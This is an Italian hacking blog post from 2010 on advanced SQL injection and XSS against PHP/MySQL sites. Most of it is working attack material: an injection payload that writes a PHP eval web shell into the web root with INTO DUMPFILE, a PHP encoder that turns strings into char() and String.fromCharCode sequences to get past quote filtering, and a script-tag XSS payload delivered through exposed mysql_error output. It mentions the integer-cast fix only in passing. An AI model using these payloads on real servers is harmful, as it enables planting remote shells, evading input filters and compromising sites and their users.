Tecniche avanzate di SQL INJECTION/XSS
Evilsocket, nel febbraio 2010 mi aveva aperto gli occhi, sul come da una normale sql injection blind o normal che sia, è possibile aprirsi una shell remota sul server vittima :D
Vediamo un esempio di codice php buggato:
mysql_query("SELECT a FROM b WHERE id=".$_GET['id']);
Come vediamo, il parametro id non viene filtrato …
Sarebbe opportuno, per essere invulnerabili, inserire un:
(int) $_GET['id']
Ora nella variabile $_GET['id'] possiamo inserire codice sql :D
Tipo questo:
(SELECT ‘<?php eval($_GET['cmd']) ?> ’ INTO DUMPFILE ‘var/www/file.php’ )
Questo codice messo nella variabile id, ci apre una mini shell sul server, scrivendo il codice:
<?php eval($_GET['cmd']) ?>
Nel file /var/www/file.php.
Sperando di avere i diritti di scrittura :D altrimenti cerchiamo altre directory :D
Per bypassare i controlli messi sugli apici nelle variabili di input, evilsocket, consiglia di codificare in hex, purtroppo però a me non va, quindi usiamo un’altra soluzione :D
Ho scritto questo mini encoder per gli xss e le sql injection… ha parecchi anni -.-’ ma potrebbe essere utile :D
<?php
echo "Author:clshack.it\n";
if ($argc<2)
die("Usage:".$argv[0]." string");
$string=$argv[1];
$l=strlen($string);
$result="";
$result_xss="";
for($i=0;$i<$l;$i++){
$result =$result."char(".ord($string[$i]).")+";
$result_xss=$result_xss.ord($string[$i]).",";
}
$result[strlen($result)-1]="";
$result_xss[strlen($result_xss)-1]="";
echo "For sql:\n".$result."\n===\n";
echo "For xss:\n"."String.fromCharCode(".$result_xss.")\n===\n";
?>
Lo si usa così:
php nome_file.php string
In questo modo, il nostro ‘var/www/file.php’, diventerebbe:
char(47)+char(118)+char(97)+char(114)+char(47)+char(119)+char(119)+char(119)+char(47)+char(102)+char(105)+char(108)+char(101)+char(46)+char(112)+char(104)+char(112)
Bypassando così eventuali controlli sugli apici :D
La stessa cosa vale per gli xss che diventerebbe un:
String.fromCharCode(99,108,115,104,97,99,107,46,105,116)
Quando c’è una sql injection, in php il più delle volte apre la porta ad un xss, tutto questo perche in molti fanno questo errore:
mysql_query("SELECT a FROM b WHERE id=".$_GET['id']) or die(mysql_error());
Quindi se noi ad $_GET['id'] diamo valore:
'<script>alert(String.fromCharCode(99,108,115,104,97,99,107,46,105,116))</script>
Il codice javascript viene eseguito.
Ma vi lascio ad ulteriori approfondimenti, con la guida di evilsocket e un’altra simile.
[DOWNLOAD PDF]Tecniche avanzate di SQL Injection, quello che non tutti sanno! by evilsocket
[DOWNLOAD PDF]Tecniche avanzate di SQL INJECTION
[ENGLISH TUTORIAL]MySQL Injection – Simple Load File and Into OutFile
Buona lettura :D
Related posts:
- SqlMap: Ottimo scanner per sql injection :)
- [beta1]ClsHack Scanner: PHP _GET/_POST/_COOKIE VAR LOCATE
- XSS: MORE POWER WITH Beef and Metasploit
- Wapiti: Web application security Scanner
- [php/mysql] semplice script login con sessioni
This entry was posted on Thursday, August 12th, 2010 at 6:56 pm and is filed under Hacking, Software. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
Tagged with: attack • inject • linux • php • sql • xss







Pingback: [TUTORIAL] Blind SQL INJECTION for MySql | Clshack